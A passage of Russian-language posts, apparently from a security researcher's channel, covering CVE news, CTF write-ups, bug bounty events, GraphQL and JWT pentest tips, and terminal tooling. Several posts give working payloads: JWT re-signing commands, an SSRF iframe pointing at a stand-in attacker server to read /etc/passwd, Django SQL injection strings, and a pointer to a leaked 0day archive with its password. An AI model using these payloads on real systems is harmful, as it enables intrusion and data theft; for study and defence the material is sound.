На гите есть тулза для обхода 403, специфичная для томката: https://github.com/iamj0ker/bypass-403. В какие то моменты я прибегал к ее использованию, но оказалось что какой-то энтузиаст написал полноценный скрипт на питоне, который включает в себя функционал 403bypass и добавляет поверх еще кучу всего: https://github.com/laluka/bypass-url-parser
Меня можно поздравить 🥳 Не так давно защитил диплом и вот сегодня, наконец таки, получил его на руки *Продается место для шутки о подставке под кофе*
🐞Добро пожаловать в «Клуб неанонимных багхантеров»! Мы собираем свою тусовку с докладами и обсуждением насущных вопросов о bug bounty! Первая порция приглашений уже улетела в почту тем, кто зарегистрировался на нашей платформе. Мы говорили внимательнее следить за почтой :) Если вам интересен поиск уязвимостей, в эту пятницу ждем вас на нашем митапе. Когда: 1 июля, в 18:00 (мск) Где: Конференц-зал BI.ZONE, Москва Формат: только хардкор офлайн! Как стать участником нашего клуба и попасть на встречу: — Зарегистрируйтесь как багхантер на сайте BI.ZONE — Забронируйте билет на митап через TimePad Количество мест ограничено!
Java PRNG - RandomStringUtils - Exploitation Доклад может быть найден тут, ознакомиться с содержимым доклада в формате pdf можно по следующей ссылке: https://github.com/alex91ar/randomstringutils/blob/master/The%20Java%20soothsayer.pdf. В этом же репозитории находится тулза для эксплуатации RandomStringUtils.
В duckduckgo нашли прикол: https://duckduckgo.com/?kad=../../../../../../../../../../usr/share/doc/openssh-client/faq#3.0 Читать можно исключительно файлы с расширением .html. Баг или фича?
https://habr.com/ru/post/671088/
Как я был удивлен когда узнал о том, что у майкрософта есть неплохие мануалы (или курсы, называйте как хотите) для начинающих по data science, machine learning и даже по Web Dev! Web dev - https://github.com/microsoft/Web-Dev-For-Beginners DS - https://github.com/microsoft/Data-Science-For-Beginners ML - https://github.com/microsoft/ML-For-Beginners
Привет. https://github.com/jbaines-r7/through_the_wire - PoC на свежий нолик в atlassian confluence - OGNL Injection -> RCE без аутентификации. Патч: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html Если не хотите переходить на какую-либо версию, можно пойти следующими путями: 1. Фильтровать конструкции вида ${} (не всегда помогает, так как уже есть некоторые WAF bypass методы, известные со старых инцидентов) 2. Удалить файл atlassian-confluence-<version>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar. Вместо него можно использовать файл xwork-1.0.3-atlassian-10.jar. Его можно получить из новых, запатченных версий. Проверить свой сервис можно с помощью логов: /opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log
MS-MSDT Office RCE MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters). The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros). PoC: https://github.com/JohnHammond/msdt-follina https://github.com/chvancooten/follina.py Demo Follina with Cobalt Strike: https://www.youtube.com/watch?v=oM4GHtVvv1c For BlueTeam: https://gist.github.com/kevthehermit/5c8d52af388989cfa0ea38feace977f2 #office #rce #msmsdt #nomacro
Выделил для себя топ интересных докладов с PHD, с которыми советую ознакомиться: 1. Поставить или положить. Атаки на цепочки поставок - Рассказывается о том, что делать если получили креды от непривилегированной учетки для GitLab, но при этом настроен CI/CD пайплайн и используется TeamCity для сборки и дальнейшего получения артефактов. 2. Обход сигнатурного WAF - Рассказывается о том, как можно расщеплять нагрузку чтоб не стриггерить правила для WAF. Мельком затрагиваются методы машинного обучения для обнаружения вторжений. 3. Охотимся за современными атаками на инфраструктуру Active Directory - Коллеги подробно рассказывают об атаках на A/D инфраструктуру. 4. Domain admin blitzkrieg - fast RedTeam - рассказывается об интересном подходе для быстрого получения максимальной выгоды за ночь.
Интересный доклад про планировщик задач в Golang https://www.youtube.com/watch?v=rloqQY9CT8I
Сейчас я переехал на Мак на чипе m1 и решил с ITerm переехать на Alacritty, который, якобы, быстрее работает в плане GPU rendering'a. Могу сказать одно - это было крайне больно. Начать стоит с моего сетапа: 1. alacritty - openGL terminal emulator;<br/>2. zsh - shell <br/>3. oh my zsh - framework for managing Zsh configuration. <br/>4. tmux - multiplexer <br/>5. neovim - vim with plugins <br/><br/> Для начала стоит поговорить о конфиге: alacritty необходимо скормить файл конфигурации в формате YAML. Любая ошибка в синтаксисе и alacritty дропается, оставляя в закромах логи о том, что же пошло не так. Сразу советую использовать все debug фишки, поставляемые alacritty. Они позволяют дебажить конфигурацию на лету. Самая большая проблема - использование шелла в купе с мультиплексором - tmux. Во всех примерах конфигурация выглядит следующим образом: tmux attach || tmux - если сессия запущена, то стараемся использовать ее. В ином случае создаем новую сессию мультиплексора. И все бы ничего, но в этом виде alacritty закрывалась сразу после открытия, если использовать команду open Alacritty.app. Но если запускать бинарь напрямую - все работает хорошо. Открывать эмулятор из другого эмулятора не круто. Было найдено решение: source ~/.zshrc; tmux attach 2> /dev/null || tmux . Проблема с запуском решена, но появилась новая - автодополнение, которое делается с помощью oh-my-zsh плагина окрашивается мультиплексором. Фикс с описанием проблемы. Проблемы с шеллом решены, можно идти дальше. Мультиплексор - это страшно. Проблема заключается в том, что неймспейсы команд отличаются от версии к версии и версия для GNU работает не так, как версия для OsX. Пример рабочего конфига. По образу и подобию можно скрафтить свой конфиг и наконец запустить эмулятор, используя все технологии, описанные выше. Но вот незадача - alacritty просит доступ ко всем директориям после закрытия эмулятора. Тут описано почему так происходит. Для решений этой проблемы необходимо выпустить сертификат. Либо заверенный by Apple (что сделать невозможно, так как я не являюсь доверенным разработчиком), или выпустить self signed сертификат и переподписать им. После того, как бинарь был переподписан - были сохранены все доступы, выдаваемые системой. Уф.
Когда-то давно, когда только начинал решать CTF, читал об уязвимостях в процессах авторизации и аутентификации средстами JWT токенов. До недавнего времени, в практических целях, мне это нигде не пригодилось. До недавнего времени... Хороший пост ха Хабре (на удивление), в котором рассказывается о том, как ручками скрафтить HMAC сигнатуру и подменить алгоритм подписи. Вкратце - если на сервере присутствует возможность "выбора" алгоритма подписи, как показано ниже: jwt.verify(token, public_key, { algorithms: ['RS256', 'HS256']})); То сервер уязвим к атаке под названием Signature stripping. Алгоритм RS256 базируется на ассиметричной криптографии, поэтому JWT подписывается приватным ключом и проверяется с помощью публичного ключа. The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication. Алгоритм HS256 базируется на симметричной криптографии, поэтому JWT подписывается с использованием секретного ключа и проверяется с помощью него же. Когда сервер ждет ассиметричный метод в JWT, но атакующий меняет его на симметричный, то вместо секретного HMAC ключа будет использован публичный ключ, который должен был быть использован для ассиметричного алгоритма. Данный ключ может быть получен, к примеру, из сертификата сайта, следующим образом: 1. openssl s_client -connect <hostname>:443 | grep certificate - Получаем Server certificate 2. openssl x509 -in cert.pem -pubkey –noout > key.pem - экспортируем публичный ключ 3. cat key.pem | xxd -p | tr -d "\\n" >> result_key.txt - получаем hex 4. echo -n <jwt> | openssl dgst -sha256 -mac HMAC -macopt hexkey:$(cat result_key.txt) - HMAC сигнатура Все это можно делать с помощью jwt_tool. Так куда проще: 1. openssl x509 -in cert.pem -pubkey -noout > key.pem 2. python3 jwt_tool.py <JWT TOKEN> -S hs256 -k key.pem - получаем переподписанный jwt токен 3. python3 jwt_tool.py <JWT TOKEN> -S hs256 -k key.pem -I -pc name -pv admin <br/> - заменяем значения по ключу в переподписанном токене
Когда нибудь слышали про ошибки во время конвертации из .html в .pdf? Нет? Тогда советую ознакомиться с видом уязвимостей под названием Server Side XSS (Dynamic PDF). Обычно, уязвимость этого рода приводит к возможности совершения запросов от имени сервера (SSRF) и в худшем случае - к чтению локальных файлов. Но, так получилось, что иногда дефолтные пейлоады для чтения локальных файлов не работают по какой-то причине. Что же, ресерчер по имени jakedmurphy1 обнаружил интересное поведение, которое позволяет в большинстве случаев обойти ограничение на чтение файлов следующим образом: 1. В .html документ, который будет конвертирован в .pdf помещается следующая полезная нагрузка: <iframe src='http[s]://<your-server>/<your_php_file>?a=file:////etc/passwd'/> 2. На сервере <your-server> размещается следующий .php код: <?php $loc = $_GET['a']; header('Location: '.$loc); ?> После того, как триггернется Server-Side XSS, мы сможем получить содержимое файла, указанное внутри аргумента a.
Йо. Недавно наткнулся на пост Егора Богомолова (@empty_jack) в котором говорилось об эксплуатации LFI через фичу Nginx body buffering. И так меня впечатлила эта бага, что я решил сделать полноценный ресерч на тему подобных чейнов. На удивление, их оказалось и вправду много и я потратил достаточно времени и сил на то, чтоб найти самые интересные из них и сделать полноценный информативный доклад. Плюс ко всему, нашел способ с помощью которого можно крафтить валидные пейлоады для удаления стопперов. Проверял только в случае с чейном из лабы, возможно с другими не сработает (по идее должен) Написал лабы, выступил с презентацией. Скачать лабы можно тут: https://github.com/rive-n/php-lfi-race-labs Там сразу есть эксплойты и ридмиха с тем, что за баги/ какой чейн. Преза в посте
Контейнеры и виртуализация. Виртуализация: Как именно работает виртуализация: https://www.ibm.com/ru-ru/cloud/learn/virtual-machines Видео из ссылки выше о том, как работают гипервизоры и какого типа бывают: https://www.youtube.com/watch?v=FZR0rG3HKIk Архитектурное сравнение контейнеров и виртуальных машин: https://docs.microsoft.com/ru-ru/virtualization/windowscontainers/about/containers-vs-vm Контейнеры: Что за ядро используется внутри Docker images: https://stackoverflow.com/questions/32841982/how-can-docker-run-distros-with-different-kernels Принципы работы докера: https://stackoverflow.com/questions/16047306/how-is-docker-different-from-a-virtual-machine Использование Union Mount / AUFS в докере: https://jessicagreben.medium.com/digging-into-docker-layers-c22f948ed612 Официальная документация к AUFS / OverlayFS: https://docs.docker.com/storage/storagedriver/aufs-driver/ https://docs.docker.com/storage/storagedriver/overlayfs-driver/
Не могу не написать про прекрасный эмулятор терминала, который использует под капотом ИИ, так еще и написан на Rust! Речь идет про Warp. Терминальный эмулятор, который использует GPU Based Rendering (прям как Alacritty, речь о котором шла тут), но куда проще конфигурируется и может быть использовал сразу после установки (прям как ITerm). Я достаточно долго сидел на Alacritty и могу сказать одно - посидев день на Warp я сразу же удалил Alacritty и все то, что связывало меня с данным эмулятором. Свяазано это с тем, что Warp банально удобнее и поставляет те фишки, речь о которых и не шла в Alacritty. Из того, что может заинтересовать: 📶 Возможность редактировать мульти-лайны; При написании нескольких команд, есть возможность редактировать сразу их все вместе взятые, как в какой-нибудь IDE или в текстовом редакторе. 📶 ИИ под капотом; Есть возможность задать ИИ вопрос о линуксе, на что он вернет подсказку. Очень удобно, можно не лезть в гугл! 📶 Разделение результатов выполнения команд на плашки; Когда сидишь в терминале круглыми сутками, важным аспектом является восприятие информации. И с этим помогает Warp прямиком из коробки! Все результаты выполнения разделены на плашки и у каждой плашки - свое меню, позволяющее скопировать результат выполнения или скопировать команду. 📶 Интерактивная помощь при вводе флагов для команд; После ввода команды, можно нажать на TAB, откроется окошко, в котором можно прочитать об опциях, доступных для той или иной тулзы. 📶 Можно работать в 1 терминале командой! Честно говоря, пока не успел воспользоваться этой фишкой, но в доке и в видео видел такую возможность. Не очень полезно, но прикольно. Своего рода screen на максималках. 📶 При прокрутке результатов выполнения - промпты снизу и сверху! Когда исполняется команда - сверху остается command prompt с самой командой, ниже - результаты выполнения, а под ними - плашка для ввода команды. Эти плашки закреплены, что не позволяет потеряться в информации. В настоящий момент я использую следующую сборку: Warp + Starship + Zsh. Сборку подсмотрел тут. Не пожалел, что установил Starship вместо какого-нибудь "Oh my Zsh". Starship крайне гибок и удобен в настройке. Гайд по настройке может быть найден в документации. Если будете устанавливать, имейте ввиду: для того чтоб кастомные темы (к примеру из Oh My Zsh или Starship) работали - нужно сделать следующее: 1. Перейти в настройки; 2. Перейти в Features; 3. Включить опцию PS1 (Honor user's custom prompt). Из минусов - собирается крайне много спорной статистики. Прочитать подробнее можно тут.
Слили рабочий 0day для получения удаленного исполнения кода в ядре Java Spring. Какой-то чувак применил его на ГосУслуги. Помянем? https://share.vx-underground.org/ - Пароль от архива: infected
Если вам вдруг тоже было интересно, как именно работает под капотом технология контейнеризации, то советую ознакомиться с этим постом. Не так давно я решил упороться по некоторым штукам, поставляемых ядром линукс. К примеру - unshare, cgroups, apparmor, capabilities and etc. Почти все это используется для реализации изолированных окружений, которые, в целом, могут быть названы контейнером. Сами контейнеры, если мы говорим о таком вендоре, как Docker, работают на основе технологий, описанных выше, а также используют некоторый сисколлы, на типе: fork, prctl, clone и другие. Неплохой разбор относительно того, что происходит после запуска контейнеров, может быть найден в видео от LiveOverflow (тык). Понятное дело, что это лишь вершина айсберга. Для того, чтоб сложилась полная картина мира, мне пришлось потратить достаточно большое количество времени на своего рода ресерч. В конце-концов, я нашел выжимку по namespaces, ознакомиться можно тут. Но если этого вдруг будет мало, то вот весь перечень материалов, которые были использованы мной для полного ознакомления с тем, как работают неймспейсы, что и куда мапится и так далее: 1. Цикл статей по namespaces. 2. Более глубокое погружение в недра линукса - ознакомление с необходимыми сисколами. 3. seccomp в контексте контейнеров. 4. Контрольные группы - cgroups v1 - руководство для чайников. 5. cgroupsv1 vs cgroup v2. 6. Создаем свою контрольную группу. 7. Linux kernel Namespaces and cgroups - resource management. 8. Создаем свои изолированные среды с использованием unshare. 9. PID Namespace - изоляция дерева процессов. 10. Примеры кода на языке программирования Си, позволяющего исполнять что-либо в контексте namespaces. 11. Unshare - man (самое полезная дока за всю мою жизнь). К посту будет прекреплена моя преза по созданию изолированных окружений с использованием unshare. Там еще есть совсем немного про контрольные группы. Приятного ознакомления :)
Что интересного произошло за сентябрь 2022: 1. Было зарегистрировано 2 новые CVE, которые в совокупности дают чейн, позволяющий произвести удаленное исполнение кода на Zimbra server. CVE-2022-27925 - ZIP Slip, для эксплуатации нужна учетка админа + CVE-2022-37042 - Байпас авторизации. Можно было не указать токен авторизации в запросе и получить доступ к некоторым возможностям администратора. 2. GifShell - новый вектор атак на Microsoft Teams, состоящий из чейна недоработок. По дефолту, сотрудники компании не могут отсылать незнакомцам вложения. Но если записать трафик и попробовать повторно отправить записанный пакет, изменив уникальный идентификатор чата, то окажется - что вложения отсылать можно. Плюс ко всему, можно изменять все поля в JSON'e, в котором, как оказалось, хранятся 2 важных ключа: title - название файла, которое будет отображаться в чате, baseUrl - url, откуда будет получен файл. baseUrl также может являться диплинком, что позволяет атакующему с легкостью украсть Ntlm hash через запуск некоторых приложений. Также, есть возможность получения удаленного исполнения кода посредствам загрузки стейджера. Подробнее можно ознакомиться тут и тут. 3. Gitlab Import RCE - удаленное исполнение кода в процессе импорта проекта в гитлабе. CVE-2022-2185 - суть заключается в том, что атакующий может заставить гитлаб в процессе формирования пайплайна сходить на поддельный сервер, спарсить значения из поддельного graphql и проэксплуатировать command_injection. 4. GitLab - Path traversal to RCE - CVE-2022-0831 - после авторизации можно было обратиться на ручку, которая была уязвима к path traversal из-за неправильной фильтрации по regex. Логика была такова: взять из строки все, кроме слешей. По итогу это обходилось обычным urlencode. Как получается RCE? Эта ручка поддерживает метод PUT и загрузку файлов. Таким образом, можно в любое место загрузить свой файл. К примеру - id_rsa.pub. 5. JuicyPotato is back! Скачать POC можно тут. Ознакомиться с ресерчем тут. 6. BitBucket RCE. 7. IKE RCE - CVE-2022-34721. #news
GraphQL - это не так больно, как кажется. Вся грязь, которую можно натворить с использованием GraphQL базируется на паре приемов. В последнее время очень часто сталкивался с GraphQL на проектах и достаточно успешно находил в сервисах кучу баг. GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type; Весь пентест GraphQL строится вокруг Интроспекции. Интроспекция - это ничто иное, как описание всего, до чего мы можем дотянуться. Аналогия - information_schema. Благодаря интроспекции можно получить: 1. query - ничто иное, как GET в протоколе HTTP/HTTPS. Получаем данные, но изменять их не можем. 2. mutation - POST/PUT/DELETE etc. Все, что может изменять данные тем или иным образом. Бывает так, что запрос интроспекции отключен некоторыми правилами приложения для обеспечения большей безопасности. В этом случае можно получить интроспекцию с помощью активного сканирования. Для этого есть инструмент под названием clairvoyance. Не буду описывать процесс установки, там все достаточно тривиально. После получения Интроспекции переходим в burp и устанавливаем 2 расширения: 1. Raider - супер удобное расширение, которое позволяет в удобном виде видоизменять GraphQL запросы. Форматирование и экранирование производится благодаря этому расширению. 2. Inql - основной инструмент для построения запросов. Аналогия - wsdler. На основе интроспекции получаем набор мутаций и запросов. Что может быть найдено в процессе тестирования? Все зависит от стека и от реализации. Зачастую - Broken access control, stored cross-site scripting, sql injections. *Под звездочкой*: Недавно наткнулся на интересную реализацию GraphQL. Представьте, что у вас есть не 1 большой связный граф, как это обычно бывает, а несколько. При работе с GraphQL необходимо обращать внимание на ошибки и на заголовки запроса. К примеру, есть интересный заголовок: Execution-Context, который, как ни странно, отвечает за контекст (за граф) в котором будет выполнен запрос. Проще говоря - это своего рода ролевая модель, только вместо ролей - графы. Что делать в случае, когда наткнулись на Execution-Context? После получения валидного запроса к GraphQL отправляем все это дело в burp intruder и фаззим значение данного заголовка. Далее - фильтрация по Content-Length. Update: обязательно добавить в словарик: /voyager - рендеринг интроспекции. Можно украсть Интроспекцию и отрендерить самому тут. /graphql - ручка, на которой обычно располагается graphql.
Был разработчиком задания Baby Cached View. У многих от него очень сильно горело, так как многие пытались сбрутать хеши и зайти под полученными учетными данными. Делать нужно было совсем не так, вот райтап: https://riven.pw/posts/ctf/ctfdev/posts/new_post/ UPD: Немного изменил пост, добавил красивых картиночек (:
Так вот, о чем видос: Существует так называемая самореферентная формула, открытая Джеффом Таппером и в последствии названная Формулой Таппера, которая позволяет изобразить себя при отображении на плоскости. Формулу можно использовать для воспроизведения произвольных изображений, при этом она не будет содержать никаких ссылок на себя. Как именно это работает - можно прочитать по ссылке, закрепленной в 1ой кнопке. Ну и сам анонс - я решил переехать с ресурса telegra.ph, так как он жутко не удобный и не позволяет мне делать то, что необходимо, для нормальной редакции постов. Поэтому, встречайте: https://riven.pw!
На выходных, в период с 4 сентября 2021 года по 5 сентября 2021 года с перерывом в час, состоялся хаккатон, на котором участникам предлагалось взломать платформу электронного голосования РФ. Прочитать о данном ивенте можно тут. Так получилось, что я попал в таблицу лидеров, обнаружив какое-то количество уязвимостей в данной системе. К сожалению, я не могу публиковать подробности, т.к это запрещено требованиями ЦИК. Но, если данный регламент все-таки изменится - ждите от меня статью!
Слили рабочий 0day для получения удаленного исполнения кода в ядре Java Spring. Какой-то чувак применил его на ГосУслуги. Помянем? https://share.vx-underground.org/ - Пароль от архива: infected
Принимал участие в разработке заданий на еще 1 соревнования от ребят из BSS, пост со всей информацией: https://t.me/bank_security_challenge/3 Задания обещают быть интересными, советую принять участие :)
Недавно столкнулся с проблемой, когда есть доступ к хипдампу джавы через Spring boot actuator, но дамп весит очень много и не может быть распаршен самыми распространенными инструментами. Решил написать о том, чем можно попробовать открыть и проанализировать подобные файлы и что делать, когда ничего не получается. Прочитать можно тут.
В большинстве популярных дистрибутивов есть возможность сделать LPE через polkit. Прочитать подробнее: https://www.openwall.com/lists/oss-security/2022/01/25/11 Эксплойт доступен в паблике: https://github.com/berdav/CVE-2021-4034/blob/main/cve-2021-4034.c HackTheBox, спасайся ... UPD: Если под вашу систему еще не вышел патч, то временно можно убрать suid bit с /usr/bin/pkexec
Конец года - это отличная возможность разобрать весь завал из вкладок, оставленных на "почитать на потом". Делюсь всем тем, что удалось нарыть: ⏺ Методы исполнения в Python окружениях (методы выхода из sandbox'ов). Очень полезно на всяких CTF и бывает помогает для решения тачек на Hack The Box. Из прям крутого, что можно записать в заметки: ⏺Есть возможность исполнения с помощью eval(), но нет возможности вызвать compile(). ⏺Python bytecode. Вот тут я упоминал, что можно использовать штуку под названием dis.dis(), но без подробностей. По ссылке подробности, такие, как: написание собственного дизассмеблера, информация о том, как хранятся опкоды и что такое опаргументы, что такое Stack/Heap, как и где хранятся объекты и что происходит внутри CPython. ⏺ Крадем пароль от супер-пользователя на u*nix like системах. Если вкратце, то весь трюк заключается в том, что атакующий может подменить исполняемый файл (type sudo) на bash script, который будет вести себя схожим образом, используя утилиту read, скрывая вводимые данные с помощью флага -s и сохраняя пароль в локальный файл или отсылая его на сервер, подконтрольный атакующему. Немного видоизмененный скрипт доступен по следующей ссылке. ⏺ Отличный гайд по написанию несложных утилит под esp32. ⏺Алгоритмы и структуры данных с примерами на языке программирования Python. ⏺ Абстрактные синтаксические деревья, разбираемся на примере Python. ⏺ Yet another SSTI в pugjs. ⏺Envoy heap vulnerability - уязвимость возникла в следствии неправильной обработки данных во время процесса HTTP/2 -> HTTP/1 forwarding.
Очередная порция новостей. На этот раз за октябрь 2022! 1. GBK Encoding - CRLF Injection to Reflected XSS. GBK Encoding - расширение для набора символов под идентификатором GB 2312, созданное для упрощения Китайского. Следующий набор символов представляет из себя ничто иное, как всем известную комбинацию: \r\n - 嘍嘊. Этим и воспользовался исследователь, за что получил 6000$ от Microsoft. Прочитать подробнее можно тут. 2. CSTI to Stored XSS in Microsoft Azure SFXv1 - Исследователь обнаружил несколько недоработок, в следствии которых ему удалось проэксплуатировать CSTI, получить Stored-XSS для того, чтоб в дальнейшем была возможность управлять кластером или определенными его участками (нодами) от имени администратора. 3. Text4Shell - уязвимость, затрагивающая компонент Apache Commons Text. Уязвимость возникла из-за недостаточной обработки данных, что впоследствии приводило к возможности исполнения произвольного кода на сервере, но только в определенных обстоятельствах. Для эксплуатации необходимо, чтоб на сервере был следующий сетап: 3.1 Создавался объект типа StringSubstitutor; 3.2 Вызывалась одна функция из перечня: [replace, replaceIn]; 3.3 Был установлен движок обработки скриптов, к примеру - Nashorn для JDK <= 15 и JEXL для версий свыше 15; 3.4 Пользовательские данные без обработки попадали в одну из функций из пункта 3.2. 4. Forti*Auth bypass - Байпас авторизации в таких продуктах, как: FortiOS, FortiProxy, FortiSwitchManager. Уязвимость возникла из-за неправильной обработки заголовков. Благодаря чему, атакующий мог манипулировать заголовком Forfard и заголовком User-Agent, что в совокупности дало возможность обойти авторизацию и получить неправомерный доступ к системам. 5. GitLab Remote code execution (make gitlab great again) - Уязвимость, базирующая на возможности перезаписи объектов, в следствии чего атакующий может получить удаленное исполнение кода через сериализованный RESP объект, расположенный в кэше Redis. 6. Microsoft Office 365 Message Encryption (OME) utilitises Electronic Codebook (ECB) mode of operation - уязвимость, возникшая из-за Electronic Codebook (ECB) mode of operation. #news
Байпас авторизации в продуктах #VMware: https://twitter.com/VietPetrus/status/1554485970514608128 Пок обещают опубликовать позже, но пока есть только скрин и митигейшн
Десер + фишки асинка, прекрасный чейн: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
Принимал участие в разработке задания Proxyhell. Всего задание было решено 3 командами. Райтап, опубликованный @sh1y0, можно прочитать тут. Если вкратце - было дано несколько конфигурационных файлов, так как сеть приложения состояла из нескольких прокси серверов: 1. Varnish; 2. Apache в качестве реверс прокси; 3. Nginx; 4. Nginx ldap; На 3 ноде (Nginx) была проверка на то, что задан заголовок X-Real-Ip, который, якобы, должен свидетельствовать о том, что запрос сделан не из локальной сети. Если данный заголовок задан - Nginx отдаст 403 код. Для того чтоб решить данное задание необходимо было ознакомиться с ошибкой в механизме Hop by hop. После успешной эксплуатации необходимо было найти уязвимость в Nginx ldap, о которой было крайне много шуму несколько месяцев назад. Суть заключалась в том, что сервер позволяет указать, куда именно будет делаться запрос с попыткой авторизации. При попытке авторизации Nginx передаст имя пользователя и пароль в открытом виде. Райтап классный, спасибо всем, кто принимал участие в CTFZone/OFFZone 2022!
Я просто оставлю это здесь: https://hackerone.com/reports/1685822
Я тут хотел кое-что заанонсить, но очень противный человек под ником @mlsdmitry вкинул идею: "Сделай какой-нибудь челлендж, после прохождения которого ты получаешь ссылку...Но не base64..." Кто я такой, чтоб не согласиться на подобную авантюру? И, удивительно, это не WEB! В общем, задачка скорее фана ради, нежели ради пота. Для решения можно посмотреть видосик.
Не получается обойти пиннинг с использованием какого-то скрипта или с использованием objection? Не беда. Какой-то энтузиаст собрал воедино несколько проверенных скриптов для обхода пиннинга: https://github.com/httptoolkit/frida-android-unpinning
Кажется очередной узконаправленный 0? https://github.com/AgainstTheWest/NginxDay Предположительно в ldap демоне нжинкс. Больше информации пока нет
Как я был удивлен когда узнал о том, что у майкрософта есть неплохие мануалы (или курсы, называйте как хотите) для начинающих по data science, machine learning и даже по Web Dev! Web dev - https://github.com/microsoft/Web-Dev-For-Beginners DS - https://github.com/microsoft/Data-Science-For-Beginners ML - https://github.com/microsoft/ML-For-Beginners
🎙 Это, скорее всего, последний технический пост в 2022 году. Давно ничего не постил про свежие и интересные/нашумевшие уязвимости. Самое время чтоб исправить ситуацию: GitLab - за последние пару месяцев на hackerone насыпалось много репортов. Среди них - GitLab XSS, GitLab local repo include, GitLab XSS with CSP bypass, Yet another GitLab RCE via GitLab import project. Из самого интересного, с чем я бы советовал ознакомиться - это RCE и local repo include. RCE достигается через старую функцию (ссылка на репорт есть в этом посте), которая занимается парсингом объекта с последующим исполнением команд в Redis. Парсинг происходит посредстам получения некоторых атрибутов (to_s, bytesize). Для создания объекта исследователь использовал возможности библиотеки Sawyer, которая позволяет представлять хеши в виде объектов. Local repo include - не проверялась схема и криво парсился URI. При передачи следующей полезной нагрузки: file://doesnotexists/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git, согласно правилам, описанным в коде, происходила замена последовательности символов "://" на "://oauth2:#{context.configuration.access_token}@". По итогу, на выходе получалось следующее: file://oauth2:#{context.configuration.access_token}@doesnotexists/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git и парсер брал лишь часть, начинающуюся с "/var/opt". (Ссылку на репорт оставлял еще тут). ProxyNotShell - уязвимость, на глубокое понимание которой может уйти очень много времени. Смысл заключается в том, что атакующий создает объект типа Type, после приводит его к другому типу с помощью implicit/explicit каста, к примеру к XamlReader и после - вызывает метод Parse. Внутрь метода Parse в качестве аргумента попадает XAML, указанный в теге <s>. Внутри XAML'a - полезная нагрузка, позволяющая получить удаленное исполнение кода. По итогу, чейн: Создание объекта типа Type -> каст объекта к типу XamlReader -> RCE через вызов метода Parse. Чейн потрясающий, очень советую к разбору. OracleAccessManager - RCE via Java deserialization. Тут и говорить нечего. Самый обычный десер, как в каких-нибудь лабах.
CVE-2022-34265 - Django SQLI via Trunc() && Extract() functions; Прочитать подробнее можно тут. Даже на хабре написали о том, что это за уязвимость и как эксплуатировать! Жаль, конечно, что местный сплойт не очень работает в реальных (мой тестовый стенд вполне реален!) условиях. Модель для базы данных выглядит максимально просто: class Test(models.Model): username = models.CharField(max_length=200) date = models.DateField(verbose_name='date') SQL запросы для функций весьма схожи, отличаются лишь в вызове TRUNC или EXTRACT. К примеру, для функции Trunc(kind) формируется следующий SQL запрос: SELECT "testapp_test"."id", "testapp_test"."username", "testapp_test"."date", DATE_TRUNC('year', "testapp_test"."date") AS "month" FROM "testapp_test" Следующим образом выглядит вызов уязвимой функции: Test.objects.annotate(month=Trunc('date',kind="EXPLOIT (в нашем случае - year)")) Если работают stacked query - все отлично: data = Test.objects.annotate(month=Trunc('date',kind="year', \"testapp_test\".\"date\") FROM \"testapp_test\" UNION SELECT 1,'test',null,null;insert into \"testapp_test\"(id, username, date) values (2, 'test', LOCALTIMESTAMP);-- ")) Если нет, то все куда сложнее, но проэксплуатировать все равно возможно. Следующим образом выглядит сформировавшийся SQL запрос для функции Extract(lookup_name): SELECT "testapp_test"."id", "testapp_test"."username", "testapp_test"."date", EXTRACT('EXPLOIT' FROM "testapp_test"."date") AS "start_year" FROM "testapp_test" Уязвимый код: Test.objects.annotate(start_year=Extract('date', lookup_name='EXPLOIT')) Пример эксплойта: data = Test.objects.annotate(start_year=Extract('date', lookup_name="year' from \"testapp_test\".\"date\") from \"testapp_test\"; insert into \"testapp_test\"(id, username, date) values (1337, 'test', LOCALTIMESTAMP) -- ")) Результат: id | username | date ------+----------+------------ 1 | test | 2022-07-06 3 | test | 2022-07-06 2 | test | 2022-07-06 1337 | test | 2022-07-06
Из интересного за последнее время: 1. https://github.com/ydb-platform/ydb - Яндекс выкатили в опенсорс свою наработку - систему управления базами данных. О релизе на хабре: https://habr.com/ru/company/yandex/blog/660271/ 2. Memray также выкатили исходники - https://github.com/bloomberg/memray. Это достаточно интересный проект, позволяющий получить информацию о текущих запущенных процессах Python. Цитата из ридмихи: "It can track memory allocations in Python code, in native extension modules, and in the Python interpreter itself. It can generate several different types of reports to help you analyze the captured memory usage data." 3. Python 3.11 - новый интерпретатор faster CPython. Обещают прирост скорости за счет улучшения некоторых особенностей: https://habr.com/ru/post/662087/
Продолжаю вкидывать интересные тулзы. На очереди - eyeballer. Думаю многие слышали про инструменты, позволяющие быстро пройтись по определенному скоупу и на выходе получить скриншоты. К примеру, есть тулза под названием aquatone, которая использует headless chromium для получения скринов. Но когда скоуп огромен - иногда бывает сложно или крайне лениво сортировать результаты по определенному паттерну и хотелось бы сразу понять, за что можно зацепиться: за старые приложения, приложения, подверженные свежим уязвимостям и так далее. eyeballer - инструмент, который использует TensorFlow в совокупности с PIL. Это необходимо для того, чтоб на выходе получить отсортированные результаты того же aquatone, к примеру, согласно следующим паттернам: 1. Кастомные 404; 2. "Припаркованные" странички; 3. Формы авторизации. На гите сразу находятся "веса" для того, чтоб TensorFlow работал как надо. Но можно натренировать нейронку самому, если у Вас вдруг набралось много скринов и есть много времени. Так как это обычный .py скрипт - устанавливается все крайне просто. Использовать с весами с гита можно из коробки.
